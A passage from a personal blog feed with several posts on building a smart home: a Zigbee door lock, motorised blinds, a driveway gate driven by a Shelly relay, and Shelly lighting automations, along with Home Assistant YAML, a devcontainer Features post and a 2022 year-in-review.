      entity_id: "{{ status_entity_id }}"
    data:
      option: Pending
  - service: mqtt.publish
    data:
      topic: zigbee2mqtt/<friendly name>/set
      payload_template: |
        {{
          {
            "pin_code":
            {
              "user": user_id,
              "user_type": "unrestricted",
              "user_enabled": user_enabled,
              "pin_code": pin if user_enabled else None
            }
          } | to_json
        }}
  - wait_for_trigger:
      - id: active_confirmation
        platform: mqtt
        topic: zigbee2mqtt/<friendly name>/action
        payload: "{{ 'pin_code_added' if user_enabled else 'pin_code_deleted' }}"
    timeout:
      minutes: 5
  - choose:
      - conditions: "{{ wait.trigger.id == 'active_confirmation' }}"
        sequence:
          - service: input_select.select_option
            target:
              entity_id: "{{ status_entity_id }}"
            data:
              option: "{{ 'Registered' if user_enabled else 'Disabled' }}"
    default:
      - service: input_select.select_option
        target:
          entity_id: "{{ status_entity_id }}"
        data:
          option: Failed

This automation is largely the same as the cleaner one, but the trigger is different and it means that if anyone wants their PIN changed, all we have to do is update the appropriate helper and it should just work (this wouldn’t work for the cleaner as you’d either have to let them know of a new PIN each visit, or store their old PIN somewhere set it back to).

Conclusion

There are a few other automations I’ve got around lock/unlock based on various conditions, but these are the most interesting ones I have and they have been working solidly for nearly six months.

I always thought that I’d find a “smart” door lock useful, but this is one of those things that it’s just amazing how quickly we adapted to it. These days we don’t carry keys with us, unless it’s the car key, and then we only take the keyless entry FOB with us, we even traveled internationally and didn’t take a key, we just don’t need to, the PIN pad is so convenient. Even our kids have adapted to it, they quickly learnt my wifes PIN and now will race us home from school and fight over who gets to unlock the door.

It’s also been super convenient with house sitters, we haven’t had to work out the logistics to leave keys somewhere and then pick them up again, just issue a PIN and send through instructions on how to use it.

So far the only problem I’ve had is early on there would be times when the lock wouldn’t respond to requests or it wouldn’t report state correctly, meaning that it would tell us it’s unlocked at night but wouldn’t lock. While I wasn’t able to get a definitive answer (it’s not like I could pull the logs from the lock), the problem seemed to be that the lock bolt was rubbing on the striker plate and this was causing the lock to go into a fault mode and stop responding on ZigBee. Some adjustments to the striker plate and this seems to have resolved itself and we haven’t had problems for probably four months now.

I still really like the initial options I looked at, such as the August and Danalock, but for day-to-day use, not having to get out a phone to unlock, and also not having to install a separate PIN pad, has made me realise that the Yale is really a great choice for the primary entranceway (I may get the others for the other deadbolts in the house, but that’s a low priority).

Ultimately, the Yale has been great and I would 100% recommend it to others. It was simple to install (well… get installed in my case!), it is easy to use (our 4 year old can do it) and it integrates nicely with Home Assistant on ZigBee (and I’d assume Z-Wave, I just haven’t tried it. Yale US have also said they are working on a Matter network module too) so you can automate it with no problems.

Building a Smart Home - Part 8 Motorised Blinds

website-contact@aaron-powell.com (Aaron Powell) — Fri, 03 Feb 2023 02:44:03 +0000

We’ve got a lot of windows in our new house, for example the main bedroom has four windows. This means we have an awesome amount of natural light (we rarely need to turn lights on during the day!) but we’re forever having to go around opening and closing them.

Because of this, motorised blinds have always been an appealing idea to me so it’s time to tackle this aspect of the smart home.

The blinds we have are roller blinds and there’s two ways to motorise them, a motor within the blind itself or something you run the chain through. Since the blinds are brand new, I didn’t want to replace them by putting a motor into them, instead I decided to go with the simpler option of having a controller on the wall to run the chain through. I also feel this to be a less invasive solution and easier to walk back from in future.

There’s motors and then there’s motors

Researching around, there are a lot of different options out there, some are ZigBee, some are Z-Wave, some are Bluetooth/Bluetooth Low Energy (BLE) and some are RF. You might have noticed wifi isn’t an option and that’s because wifi is not a particularly common protocol for these kinds of devices. Wifi requires a lot of energy (relatively speaking) so it’s not ideal for battery powered devices like these and we are going to have a motor which also requires power so we’re better sticking to a low-powered communication protocol.

While I was trying to work out what options to go with a friend offered me three different ones that he wasn’t using (under the provision that I don’t return them 🤣), Teptron Move, Soma Smart Shades 2 and Axis Gear. The first two are Bluetooth/BLE and the Gear uses ZigBee.

Quick aside as I haven’t mentioned ZigBee before. ZigBee is a wireless protocol designed for low-powered devices and somewhat common in the smart home ecosystem. It works a bit like a mesh wifi network but operates separately to wifi (it does share 2.4GHz) but you need a hub of some sort that will turn the ZigBee signal into something consumable on your network/within Home Assistant. You’ll find plenty of stuff on YouTube about ZigBee if you want to learn more. Personally, I use a ConBee II for my ZigBee hub and ZigBee2MQTT in Home Assistant.

The Soma was a device that I had been looking at as one to get, it’s a small and compact unit, which would wouldn’t be offensive on our windows, compared to a lot of options. It also has integration to Home Assistant, at least at a cursory glance (more on that later), so it seemed like it could fit the bill.

The Move is less appealing aesthetically as it’s quite a tall unit with buttons on the outside. It also didn’t have a solar panel, instead you need to rely on a wall plug or ensure you recharge the battery frequently. It also doesn’t have any HA integration that I have been able to find, which isn’t surprising as it’s a BLE device, meaning that it can only be controlled via the phone app or directly on the device. Because of this, I’m not installed it anywhere, maybe in the future if I feel the desire to reverse engineer the BLE comms from the app (but probably not…).

The last of the ones I was given was the Axis Gear, which is both BLE and ZigBee and while the BLE aspect doesn’t have HA integration, using ZigBee it can be, woo!

Time to get integrating.

They All Kind of Suck

After following all the install guides for both the Soma and Gear (although I mounted them with 3M sticky strips rather than screws incase I want to get rid of them) and the conclusion I came to is that the whole ecosystem just kind of sucks. Let’s start with the design of the control units.

What I like about the Soma is that it’s small and sleek but the trade off from that is there’s no external controls… so how do you control it? via the companion mobile app. This means we’re going to be breaking one of our core rules, our blind isn’t going to be easy to control by just anyone.

The Gear is better in this regard, it has a modern design, which fits the look we’re going for, and a touch bar on the front that you can control the blind position, meaning you don’t need to open the app once it’s initially setup to control the blind. It’s not perfect, you still need to know to look for the touch bar and if the blind is closed you have to reach around it to get to the controller, but it’s an improvement over the Soma… it sucks less.

Apps

Both of these options require you to use BLE for the initial setup (the Axis Gear is ZigBee but it doesn’t support setting positions via ZigBee, it’s either via the app or using magic button combinations) and of course they have their own apps, which means I have two different apps to control my blinds.

And this is the biggest pain point with motorised blinds, you either have to buy into a single platform or you end up with a range of apps that you’re controlling via. Long-term, this is likely to be less of a problem as you will find the one that works for you and go “all in” with that one, but while you’re investigating it sucks, and you’re either spending money on devices to mothball them later, or you don’t replace the less-desirable ones and suck it up.

Neither of the apps are terrible, they find the blind easily enough, you can set positions, control the position, set schedules, etc. but really what I want is a single platform to control them all.

Enter Home Assistant.

Home Assistant

Once the units were setup it was time to integrate them with Home Assistant. I started with the Soma as there’s a Soma Connect HA integration, awesome… no, no it wasn’t.

Turns out that you don’t integrate the blinds directly, instead you need a Soma Connect hub to bridge the blinds into Home Assistant. Well that sucks.

It kind of makes sense. Up until recently there wasn’t native Bluetooth support in HA, so it couldn’t talk to the blinds, the Soma Connect does that and HA talks to it. But it meant that I would have to spend more for a device that only kind of fits what I want.

Thankfully, while digging around the Home Assistant forums I found out that the Soma Connect software can be installed on a Raspberry Pi (seemingly they were having supply issues with the official devices so the software was released). I’ve got a stack of Pi’s laying around, so I dusted one off, flashed an SD card with the Soma Connect software, booted it up and it just worked. Seriously, it just worked! Home Assistant picked it up, it’d already found the blind and connected with it, I was actually kind of shocked. So now I have a Pi that lives under the bed that is controlling one of the blinds.

The Gear is different in that it supports ZigBee and while their docs assume you’re using something like a SmartThings or Alexa as the ZigBee hub, I had no problems finding it using my ConBee II stick that is my ZigBee hub. You have to use the Axis app to enable “hub mode” (which then renders the app useless as I guess they disable BLE? seems odd that you can’t use both) and once that was done I found it to pair pretty quickly with my network and it appeared in Home Assistant as a cover entity so it can be opened/stopped/closed.

Since I have both the Soma and Gear in our bedroom (and still two manual blinds… which we never open now 🤣) I created a cover group so we have a single entity in HA for “Parents blinds” that we can open/close them all at once.

For automations, they aren’t very exciting, at 9am the blinds will open and at 7pm they’ll close. I’m thinking of getting a humidity sensor in the bathroom to detect when the shower is on and close the blinds, since you have to walk past them to get to our walk in robe, but it’s pretty rare that we’re not done in the bathroom by 9am anyway (plus - gotta give the neighbours a show every now and then 😉).

Randomly Failing

Every now and then the blinds don’t work. Most of the time it’s the Soma that fails to respond so we’ll find the blinds still open when going to bed (annoying) or it just never opened (less annoying), meaning I either yell at the Google Home to trigger the blind or get out my phone and use the HA app. I haven’t dug into logs to work out what might be the problem, instead I may just add an automation that checks if the blind didn’t open/close to then rerun the command.

I managed to pick up two more Axis Gear’s for the kids bedrooms and it took about three months to get them working. I mounted them on the wall but they weren’t being detected in the Axis app. Thinking they might be DOA I used a Bluetooth packet sniffing app and found that they were broadcasting on Bluetooth when being put into pairing mode, it was just my phone that couldn’t find them. I contacted Axis support, and after a lot of back and forth (yay timezones and holidays - was about six weeks of back and forth!) they concluded that they were probably on a really outdated firmware and the Android app can’t find it, instead I’d need to try the iOS app… but I don’t have any iOS devices… so I had to wait until we had someone over with an iPhone who was willing to let me install stuff on their phone (I don’t get why but apparently the iOS app can detect a wider range of firmware versions or something). I managed to find a ~~victim~~ volunteer and the Gear’s appeared immediately in the iOS app, I upgraded their firmware and then they connected to the Android app. I was then able to enable smart home mode and bring them into my ZigBee network (the fact I have to use the app for that is annoying, because if the app ever gets removed from the store I’m stuffed), well, one of them works and one of them doesn’t. I’ve got one that I need to keep trying to pair as it’s reporting that it’s connected but it fails to respond to commands (at least it can be manually controlled via the touch bar).

Final Thoughts

We’ve now got four blinds operating across two different ecosystems and the conclusion I’ve drawn on motorised blinds is that this is a space that’s not approachable to the average home owner.

When they work, they are great, in the morning one of our kids blinds opens and it’ll close again at night, the other doesn’t without manual control and it’s going to take me a while to work out the fix for it (and it might mean I have to buy more ZigBee routes as the network might be too stretched for it).

And the price-point makes it very hard to get into, you either have to be willing to invest a few hundred dollars and accept that some of that will be a lost investment, or you have to hope you back a winner first time.

Soma Smart Shades 2

As I said, these were one of the top contenders for me when I first started researching motorised blinds but having used them, they aren’t for me.

While I thought the lack of external buttons would be great as it meant a smaller, sleeker unit, it fails the family test - there’s no way to control it without the app. Combine this with the need for a hub to bring it into HA (or have any remote control), the cost starts to blow out.

Add on top that it randomly just doesn’t respond when it should so it’s off the list of future investments. I probably won’t remove it, at least not for the time being as I don’t have an alternative device, so instead I’ll have to work around the problem with more software solutions.

Axis Gear

I have mixed feelings about this device. I like the design of it, how easy it is to use and that it integrates easily (well, easily-ish) into my ZigBee network. But when it doesn’t work, it’s a real pain. While writing this I noticed that both of the kids blinds failed to close tonight, one is reporting unavailable and the other is saying the battery is flat (despite the solar panel being plugged in). I think my ZigBee network is too thin at that part of the house so I may need another router, and I’ll have to dig into a battery problem goes off to find the multimeter to test 12 AA batteries.

But the most frustrating part is they are no longer in production! The company has made a new device, Ryse, which I don’t think looks as good. It’s also dropped ZigBee support and the solar panel, meaning that you either need to have a wall socket nearby or buy their battery pack plus their hub, which doesn’t seem to have HA support anyway.

Yay, another dead end.

Wrapping Up

Motorised blinds really appealed to me initially, but now having tried them out I’m rather… whelmed. I’m not overwhelmed by them nor am I underwhelmed, I’m just… whelmed.

Maybe the ones that go into the blind itself rather than control the chain are a better investment, but with an entry price of around $200 per blind, that’s a heavy investment to do our whole house.

So, should you add it to your smart home priority list? Well, it depends how much money and effort you’re willing to invest in experimenting. Be warned, at one point I was using Wireshark to debug a BLE traffic dump… yeah, it got rough (I didn’t end up needing to do that, hence I didn’t mention it before).

Building a Smart Home - Part 7 Motorised Gate

website-contact@aaron-powell.com (Aaron Powell) — Mon, 16 Jan 2023 09:51:16 +0000

In building our new house we decided to add a motorised gate across our driveway.

Unsurprisingly, this is a gate running off a remote, which upon first inspection I believed is using RF on some frequency, and this sounds like it’s something I can automate with Home Assistant! After all, I’ve previously done some RF automations, so let’s get started.

The Controller

The control unit we have installed is the BFT Deimos BT A 400 which connects to the gate via a rack and pinion system with rack being on the gate and the pinion the motor. It has a sensor on the motor that is triggered when the gate reaches the open/close positions and stops the motor. This all runs on a track on our driveway, ensuring that it doesn’t, you know, go where it’s not meant to go.

So in reality, it’s a pretty simple system and sounds like a good fun thing to automate.

Automating the Gate

With the gate we were provided with some Mitto remotes and going through the docs, they broadcast on 433MHz and that’s the same as the Broadlink RM4 Pro which I have controlling the ceiling fans.

The only problem is that now I need it to reach yet another location, and it’s already running a bit thin in reaching the full length of our house.

But it turns out that it’s actually a lot simpler than that. Part of the gate controller is the Hamal control board and it has some interesting headers on the board, a 24v DC +/-, as well as headers for external controllers to do things like start the motor. This sounds like a better option, it’s direct input to the motor, so we can send a signal directly, rather than relying on an external signal blast.

Wiring up the Controller

I’ve still got some Shelly 1 devices left over from the lighting install, and this is the ideal device to use as it can run on 240v AC or 24v DC, and the motor exposes positive and negative headers for 24v DC (as well as 240v AC, but you don’t want to play with 240v AC!).

After unplugging the motor I grabbed spare wires to connect the L and N terminals to the 24v DC headers and the Shelly is ready to power on, next we need to wire up the IO of the Shelly to the headers 61 and 60 respectively.

I’m not using the SW header on the Shelly as I don’t have an external input to control the relay switching.

With power connected back to the controller the Shelly broadcast its AP and was ready to be adopted onto the wifi network, sweet!

Shelly Configuration

For this Shelly, it’s not a switch like you’d use in lighting, it’s just activating momentarily to trigger the motor to start doing its thing, so the concept of on and off don’t really make sense. Instead, we’ll configure this Shelly as a Momentary Button Type, but since we never want it to be in the on state for long, I added an Auto Off timer with a 1s delay, meaning that once the relay turns on it then turns off again straight away.

This is a simple trick to work around how these style of controllers work, on just tells the motor to start doing what it should be doing based off what it’s currently doing/current state is; if the gate is open, it’ll close; if it’s closed, it’ll open; if it’s moving, it’ll stop.

Looking at the headers Hamal control board I think you could do something smarter, but that’s not really of concern to me.

Adding to Home Assistant

Home Assistant will find the Shelly as soon as it’s on the network and it can be integrated easily, but we just have it as a switch, and a switch that pretty much always says it’s turned off. What we’re lacking is a way to know if the gate is opened or closed, and to do that we’ll add a contact sensor.

I used the Aqara Door Sensor (again, I have a bunch laying around from other projects… this seems to be a smart home trend 😅) which I’ve attached between the gate and the pole the gate is on, so it’s somewhat hidden and protected from the elements.

Once adopted on my ZigBee network I have something that reports open/close state of the gate, so we can bring it all together.

Adding a Cover Template Entity

To merge the two entities, our contact sensor and switch, to represent something that can do open/close/stop, we’ll use a Template Cover entity. Here’s the YAML for the gate:

cover:
  platform: template
  covers:
    roller_gate:
      device_class: gate
      friendly_name: "Roller gate"
      value_template: >-
        {% if is_state('binary_sensor.driveway_gate_contact','on') %}
          Open
        {% else %}
          Closed
        {% endif %}
      open_cover:
        service: switch.turn_on
        data:
          entity_id: switch.roller_gate
      close_cover:
        service: switch.turn_on
        data:
          entity_id: switch.roller_gate
      stop_cover:
        service: switch.turn_on
        data:
          entity_id: switch.roller_gate
      icon_template: >-
        {% if is_state('binary_sensor.driveway_gate_contact','on') %}
          mdi:gate-open
        {% else %}
          mdi:gate
        {% endif %}

The entity configuration is reasonably straightforward, to open/close/stop we use the switch.turn_on service in Home Assistant, which triggers our Shelly to on, forcing an action, before it turns itself off again. We then determine current state by looking at the contact sensor entity and reporting the right text (and icon for good measure).

There we go, it’s appearing in Home Assistant and we can trigger it to watch magic happen.

Conclusion

This turned out to be a reasonably easy project to undertake because the BFT controller is well designed for integrating an external controller in. I hadn’t seen this exact approach done, the Home Assistant forums had this post that used another component of the BFT product line that I don’t have, but it was enough to help me get started.

It’s also very similar to wiring up a garage motor, which I’ve done in the past (and there are plenty of tutorials online for).

Is this really that useful though? Presently, no, not really. I don’t really have anything that will intelligently decide if the gate needs to be opened or closed, so it’s more a case of “I can do this” than anything else. Sure, there’s a basic automation it’s used with to make sure it’s closed at the end of the day, but really, that’s not running that frequently as we just close it from the remote in the car. Maybe if/when we have a car that’s integrated into Home Assistant (our car isn’t modern enough for that) there could be some smarts on “you’re about to drive, let me open” and have auto close when away/reopen on approach, but that’s not going to be happening for a while.

All in all, it was a fun project that saw a few fist pumps when I realised that it worked first time!

Simplifying devcontainers With Features

website-contact@aaron-powell.com (Aaron Powell) — Wed, 11 Jan 2023 04:36:59 +0000

As much as I love using devcontainers for all my local development (see here) there’s often repeatable things that I want to do in them which means I go back and copy RUN steps from previous Dockerfiles that I’ve created.

Enter devcontainer Features

A few months ago a new proposal was added to the open dev container spec (the spec that supports devcontainers in vscode) for custom features.

Features are predefined scripts that you can add to your devcontainer.json file that will add something to the base image or existing Dockerfile that you are using for a devcontainer. By doing this, you simplify the base that you’re starting from and avoid a situation where you are having to add development tooling to what could be a shared image across environments.

Using Features for my blog

The repo that my blog lives in has had a devcontainer definition for nearly two years (see!), and in that time I’ve maintained a Dockerfile that uses the base image and a devcontainer.json file that describes how to use it within VS Code.

Over time I’ve added some more to the RUN command in the Dockerfile that installed more default installs, and it just kind of did it’s thing.

Today though, I decided to port it across to using Features, and you’ll find the commit here.

The primary changes in the commit are moving away from maintaining a Dockerfile myself to using a generic base image, mcr.microsoft.com/devcontainers/base:bullseye to be precise, and adding the following Features:

  "features": {
    "ghcr.io/devcontainers/features/github-cli:1": {},
    "ghcr.io/devcontainers/features/hugo:1": {},
    "ghcr.io/devcontainers/features/node:1": {},
    "ghcr.io/devcontainers/features/dotnet:1": {
      "version": "lts"
    },
    "ghcr.io/jlaundry/devcontainer-features/azure-functions-core-tools:1": {}
  }

Now when the container is rebuilt it’ll use the generic base image before layering on the features that I need, making it a clearer view of what has been modified in the container that I’m developing in.

Conclusion

While my blog might be a reasonably trivial place to have a complex devcontainer, I see that using Features is a really simple way to reduce the complexity of the local container setup. It would be quite possible to reuse the Dockerfile that defines your production infrastructure and then layer some Features over that, allowing it to be used for both local development and production deployments, without the risk of developer tooling leaking out.

The other added bonus is that you can define your own Features and use them within your organisations repos. Check out the docs for insights on writing your own (it can be as simple as a JSON file and bash script!).

2022 a Year in Review

website-contact@aaron-powell.com (Aaron Powell) — Wed, 11 Jan 2023 00:04:53 +0000

Would you look at that, 1 year to the day since I did my 2021 post so I’m consistently late, woo!

Blogging

Towards the end of last year I read this post by Scott Hanselman about his decreased blogging, and it really resonated with me and how I’ve been feeling about blogging. While I haven’t blogged for quite as long, my oldest post is from 2008 (but it’s not actually my oldest, I’m missing some of my earliest stuff due to sloppy migrations), I have tried to be consistent but it’s fallen away over the last few years.

In 2022 I wrote 27 posts, which is close to as many as 2021 and some similarities in the content, such as a continuation of my GraphQL on Azure series.

I also kicked off a new series about my smart home journey, which will continue throughout this year as I keep dabbling with stuff.

Presenting

In person conferences were back! 🥳

I was fortunate enough to present at three in person events this year, NDC Melbourne on VS Code and GraphQL with TypeScript (although that talk had some awesome demo failures 😅), DDD Perth about VS Code (yes, same talk as NDC Melbourne, nothing wrong with reusing the classics!), and NDC Sydney Remix and why to use GraphQL (those talks aren’t online yet).

There was a smattering of virtual talks as well at various user groups and online events, but I’m really glad to be back in person and able to connect with the community that way. Although I must admit, I had forgotten just how exhausting in-person events were, by the end of a multi-day in-person event, I’m very much ready for a rest!

I’m hoping that we continue to see events coming back in 2023, I’ve already got a few locked in and am hoping to see some more user groups come back as well.

Building a house

We finally finished building the house we started in 2021, well by we I mean the building company we contracted, and moved in at the middle of the year. While for us it seemed like it was taking foreverrrrrrrrrrr it ran on time and shockingly on budget.

It’s nice to be settled back into our own space, I now have my own purpose-built office (with a giant 1.8m by 1.7m floor plan 😅), the kids have their own areas to play in and most importantly, I can tinker with smart home stuff!

As I said before, I’m blogging about my smart home but the blog is somewhat a trailing indicator to where we’re really at. Other things that I have integrated but yet to blog about is climate control with our connected HA, our digital door lock, and our garage door + automatic gate. So stay tuned, there’s more coming in that space.

Burning out

The big thing for me in 2022 was burning out and then coming to grips with having done that. I wrote about being burn out last week and the response that I got from the post was really heartwarming. So many people reached out both publicly and privately to check if I was ok, to share that they’ve been experiencing the same, and to offer support.

Several people have told me that they found it really brave of me to share such a vulnerability in such a public way, but I really don’t see it like that, I’m just someone who is lucky enough to have a bit of a platform and if I can’t use it to destigmatise mental health issues, then what’s the point?

Moving to something new

As I was coming to grips with my burnout and looking at what I wanted to change to help me work through it, I realised that it was time to tackle some new challenges, and I’m excited to announce that that will be happening in 2023. Don’t worry, I’m not going far, I’m moving from the JavaScript team to the .NET team within Cloud Advocacy. This feels like a better fit for me, as much as I love JavaScript, .NET is where my heart always has been and I’m looking forward to tackling some of the challenges facing .NET developers in regards to Azure.

But yes, I do appreciate the irony that in my burnout post I talked about having a lot of managers to then go and have yet another manager come 2023, but I have already congratulated my new manager on the promotion they’ll receive in about 5 months time! 🤣

Bring on 2023!

Building a Smart Home - Part 6 Lighting

website-contact@aaron-powell.com (Aaron Powell) — Thu, 05 Jan 2023 05:32:32 +0000

When we got our new house built, we decided to hold off putting in feature lights because we wanted to see the space first and then decide what we wanted in each of the areas as features. Fast forward a few months of occupancy and we’d selected our feature lights and booked the electrician to come and install them. And since we had an electrician coming to do some work, I felt it was an opportune time to get onto the next smart home job - lighting.

Note: In Australia it’s illegal for anyone other than a licensed electrician to work on electrical wiring. Because I’m not a licensed electrician I won’t explain how the wiring is done, just what I’m doing once it is done.

Smart light bulbs

I dislike smart light bulbs for the most part because they rely on a powered circuit to work, which means that a wall switch will turn them off and you can’t use them in automations or for anything smart until you turn the switch back on. Because of this, I’ve actively avoided them in all but two places - our kids lamps. The kids lamps are in their rooms and I decided to get them smart bulbs so they can use the lamps as night light, or to have them do fun colours when they have friends over if the want. I got WiZ LED bulbs from Bunnings because they have an integration for Home Assistant out of the box. The one in my eldest’s room works pretty much flawlessly, whereas the one in my youngest’s room drops from the wifi network constantly (I’ve put an automation in place that sends me a push notification when it goes offline so I can reboot it - and yes, it has a static IP, I think it’s just a dodgy device).

Making dumb lights smart

Keeping true to my ethos of Human Centred Design, we have to make the lights work for everyone, not just the household techy. Also, since we just built the house, and decided to get some nice quality light switches everywhere, I didn’t want to replace everything with the “futuristic” smart switches - I like the tactile feedback of flipping the switch, so that needs to keep working (not to mention people expect switch to work a certain way - hence the Human Centred Design bit).

To make the lights “smart” I decided to go with Shelly smart relays.

I went with Shelly devices because I know a lot of folks already using them and they have great integration with Home Assistant. I picked up a deal via Oz Smart Things and got a bunch of Shelly 1 and 2.5 devices. We’ve got everything from a single switch to quad plates, so I need a range of devices. In hindsight, I should have gotten the 1PM instead of the 1 so that I’d get the power monitoring (the 2.5 have it), but really, it’s not that important.

The way the Shelly devices work is they sit between the switch and the light (or whatever is on the circuit) and when the switch is flipped you can control what the relay does. The simplest mode is to just change the state of the relay, so when the switch is flipped the relay turns on or off and the light turns on or off. Great, this solves the most basic UX aspect - the switch still works, but it gives the added benefit that I can also yell at the Google Assistants around the house to turn lights off.

Which Shelly mode to use

There are two main settings that I tweak with my Shelly devices, the Power On Default Mode and Button Type.

For the Power On Default Mode I’ve set the switches all to be Restore Last Mode. This means that in the event of a power outage the state of the light will be restored to what it was when the power went out, so if it’s the middle of the night, we won’t all be suddenly woken up because the lights came on. You could alternatively use the SWITCH mode, but that will then rely on the position of the switch to dictate what the relay does, and since we don’t always use the switches to turn on/off the lights, you could end up in a situation where the lights come on unexpectedly.

For the Button Type, I originally set them to Toggle Switch, but that can see states getting out of sync, especially if you remotely change the relay state - now the switch and relay don’t match so you have to flip the switch to get it back to the right state (which is annoying and would likely cause confusion). Instead, I use the Edge Switch button type, which means that every flip of the switch changes the state, regardless of whether the switch is in the “on” or “off” positions (basically we don’t have “on” or “off” anymore on the switches).

But for a few of the devices I have set them to Detached Switch for the Button Type and this disconnects the switch from the relay, meaning that when the switch changes state, the relay doesn’t change state, you have to do something entirely “programmatically” now, and this comes to the automation’s.

Automations

As “fun” as it is to be able to yell at the house and have a light turn on or off, the real reason I put the Shelly’s in was to be able to do some automations with them, so let me share some of the ones I’ve setup and that seem useful (and that my wife also finds useful!). So far they are all pretty basic, but they are tackling the little improvements to life that I want out of a smart home.

Automatic lights in storage

We have a storage room under our stairs, very Harry Potter esq, and it’s got a light in there as there’s no window. We’d constantly be forgetting to turn the light off when closing the door, so a period of time later one of us would notice a faint glow under the door and turn it off. Not a major inconvenience or anything, but it’s one of those little things that would be nice to not have to think about.

The idea for this automation is that when the door is opened, the light turns on, and when the door is closed, the light turns off (with a little delay). To know when the door is opened I attached an Aqara Door Sensor to the top of the door. Now, when the door is opened, the sensor triggers and we can run an automation:

alias: "Lighting: Storage"
description: ""
trigger:
  - platform: state
    entity_id:
      - binary_sensor.storage_door_contact
    to: "off"
    for:
      hours: 0
      minutes: 0
      seconds: 30
  - platform: state
    entity_id:
      - binary_sensor.storage_door_contact
    to: "on"
condition: []
action:
  - service: light.turn_{{ trigger.to_state.state }}
    entity_id: light.understairs
mode: single

Rather than having two automations, one for “open” and one for “close”, I combine them in a single automation and use the state of the contact sensor to call the appropriate light service in Home Assistant. I also added a delay on the door close of 30s so that if you close and then immediately need to go back in, you won’t be running the automation constantly.

I use a similar automation to this for the garage internal door, with the additional condition that it only runs if the roller door is closed or it’s night time, as otherwise we don’t really need the additional lighting.

Media room lights

For the media room I’ve setup an automation that when you pause (or stop) what’s playing on the TV it will turn the light on:

alias: "Lighting: Media room on pause"
description: ""
trigger:
  - platform: state
    entity_id:
      - media_player.media_room_tv
    to: paused
    for:
      hours: 0
      minutes: 0
      seconds: 5
  - platform: state
    entity_id:
      - media_player.media_room_tv
    to: "off"
    for:
      hours: 0
      minutes: 0
      seconds: 5
condition:
  - condition: state
    entity_id: light.media_room_light
    state: "off"
  - condition: state
    entity_id: light.media_room_downlights
    state: "off"
action:
  - service: light.turn_on
    data: {}
    target:
      entity_id: light.media_room_downlights
mode: single

The idea behind this is that if you’ve paused what you’re watching, it’s likely that you’re about to get up anyway so bringing the light on means you can see where you’re going. I also added a 5s delay to try and catch some of the edge cases when swapping shows. I also added a condition to check that the lights are off, since there’s no reason to turn a light on if there is already a light on.

This automation isn’t perfect as it can be a bit aggressive in turning the lights on if you’ve moving from one streaming provider to another, or swapping from watching something to playing Xbox, but it’s better than nothing and I just need to do some debugging on the various states the TV reports to HA.

Lighting in the parents bedroom

No, not that kind of lighting, I’m waiting for the LED strips to come… I’ve said too much 😳.

Something that often annoys me about bedroom lighting is that the light switch is near the door, but the bed is generally isn’t, so when you flip the lights off you walk across the room in the dark, hoping you don’t stub your toe on the end of the bed. Sure, you could install additional switches or turn on a lamp beforehand, but that’s not as “techy”.

So for the Shelly that’s controlling these lights I’ve set the Button Type to Detached Switch. Using this mode means you need to enable the Input sensors in Home Assistant. My sensor list looks like this for the Shelly 2.5 that controls the two sets of lights in our bedroom:

Now the switches will change the state of the Input sensor, but that doesn’t change the relay, so the switch does nothing. Instead we need an automation to be triggered on the state change to the Input that will either turn the light on or will put a 10s delay before turning the light off. I’ve also configured this delay to only be for after 9pm, so in the morning or other times, the lights will toggle immediately when the switch is flipped.

alias: "Lighting: Toggle parents light on switch change"
description: ""
trigger:
  - platform: state
    entity_id:
      - binary_sensor.parents_bedroom_channel_1_input
      - binary_sensor.parents_bedroom_channel_2_input
condition: []
action:
  - if:
      - condition: template
        value_template: {{ is_state(light, 'on') }}
    then:
      - if:
          - condition: time
            after: "21:00:00"
        then:
          - delay:
              hours: 0
              minutes: 0
              seconds: 10
              milliseconds: 0
      - service: light.turn_off
        target:
          entity_id: "{{ light }}"
    else:
      - service: light.turn_on
        target:
          entity_id: "{{ light }}"
mode: single
variables:
  light: >-
    {{ 'light.parents_fan' if trigger.entity_id ==
    'binary_sensor.parents_bedroom_channel_1_input' else
    'light.parents_downlights' }}

It’s a bit of a clunky automation because I have nested if actions, but I’ve not thought of a better way to inject the 10s delay conditionally like this.

Initially, my wife thought this automation was a total gimmick, but she’s come to find it really useful, as her side of the bed is the one furthest from the door (and she’s the one most likely to leave clothes on the floor 😝).

Making our ceiling fans smarter

Earlier in this series I wrote about making the ceiling fans smatter but there was one fundamental flaw in the design - the wall switch would cut power to the circuit, turning the light off, but also turning the fan off. It also meant that if we’d turned the light off using a voice command or automation, the switch couldn’t be used to turn it back on. Since I implemented this design, the family, including the kids, are mostly trained on how it works, but sometimes there’d be shouting at Google to turn the light on, nothing happening and then shouting at me to fix it 🤣 (which generally involved flipping the switch so the circuit was powered again).

I wanted to fix this, and I’ve been able to do this with the use of a Shelly in Detached Switch mode and an automation.

alias: "Lighting: Kids fan light switch toggle"
description: ""
trigger:
  - platform: state
    entity_id:
      - binary_sensor.kid_1_room_input
      - binary_sensor.kid_2_room_input
condition: []
action:
  - if:
      - condition: template
        value_template: |
          {{ is_state(light, 'on') }}
    then:
      - if:
          - condition: time
            after: "18:45:00"
        then:
          - service: light.turn_on
            data:
              effect: Night Light
            target:
              entity_id: "{{ lamp }}"
        else:
          - service: light.turn_off
            target:
              entity_id: "{{ light }}"
    else:
      - service: light.turn_off
        target:
          entity_id: "{{ light }}"
mode: single
variables:
  light: >-
    {{ 'light.kid1_fan' if trigger.entity_id ==
    'binary_sensor.kid_1_room_input' else 'light.kid2_fan' }}
  lamp: >-
    {{ 'light.kid1_lamp' if trigger.entity_id ==
    'binary_sensor.kid_1_room_input' else 'light.kid2_lamp' }}

This automation is a bit more complex as it’s really doing two jobs - changing the state of the fan light, but also conditionally turning on their lamp with the Night Light effect.

When the switch is flipped, we determine if the fan light is currently on or off using the value_template on the if action, looking up to the variable light which is set based on the trigger.entity_id (the ID of the sensor that changed state). If the light is on, we then check the time to see if it’s after 6:45pm, and if it is, we turn on the lamp with the Night Light effect before turning the fan light off. If the fan light is off, we just turn it on.

In my first pass of this I had it calling the script that I use to do the RF blast, but then I was getting weird states when HA would think the light was on when it was actually off, because state was tracked weirdly, but since I created a Template Entity for the lights, we can just use the built-in light.turn_on and light.turn_off services, which will in turn call the scripts, so HA tracks it properly.

And with this design we never actually turn the relay off, so the circuit is always powered, the fan can be run through automations (or voice commands) at any time, and the switch can be used to turn the light on and off as expected.

I will add that there are occasions that this does fall over, sometimes the Broadlink fails to send the command and then HA thinks the light is off when it isn’t really, so then I have to get into HA, turn it off on the Shelly, fake turning the light off in HA to fix the state sync and then turn the Shelly back on. I can probably fix this with a better placement of the Broadlink device, but it happens infrequently enough that I’m not overly stressed.

Conclusion

